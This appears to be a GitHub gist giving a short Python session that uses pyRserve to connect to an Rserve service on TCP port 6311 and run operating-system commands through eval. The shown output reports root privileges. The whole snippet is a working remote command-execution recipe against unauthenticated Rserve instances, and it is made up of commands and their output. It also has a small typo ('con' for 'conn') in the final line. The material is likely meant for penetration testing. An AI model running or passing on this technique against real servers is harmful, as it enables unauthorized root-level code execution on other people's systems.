Skip to content

Instantly share code, notes, and snippets.

@csandker
Created August 19, 2020 17:06
Show Gist options
  • Save csandker/c92382f1ff7d9b1a0bb100b3fece46ea to your computer and use it in GitHub Desktop.
Save csandker/c92382f1ff7d9b1a0bb100b3fece46ea to your computer and use it in GitHub Desktop.
Command Exec. In RServe TCP/6311
## Install pyRserve
$:> pip install pyRserve
$:> python3
>>> conn = pyRserve.connect('<IP>', 6311)
>>> conn.eval("1+2") ## Testing the connection
3.0
>>> conn.eval('t1 <- try(system("id", intern = TRUE))') ## Command Exec
'uid=0(root) gid=0(root) groups=0(root)'
>>> con.close()
## pyRserve Docu
## https://pythonhosted.org/pyRserve/manual.html
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment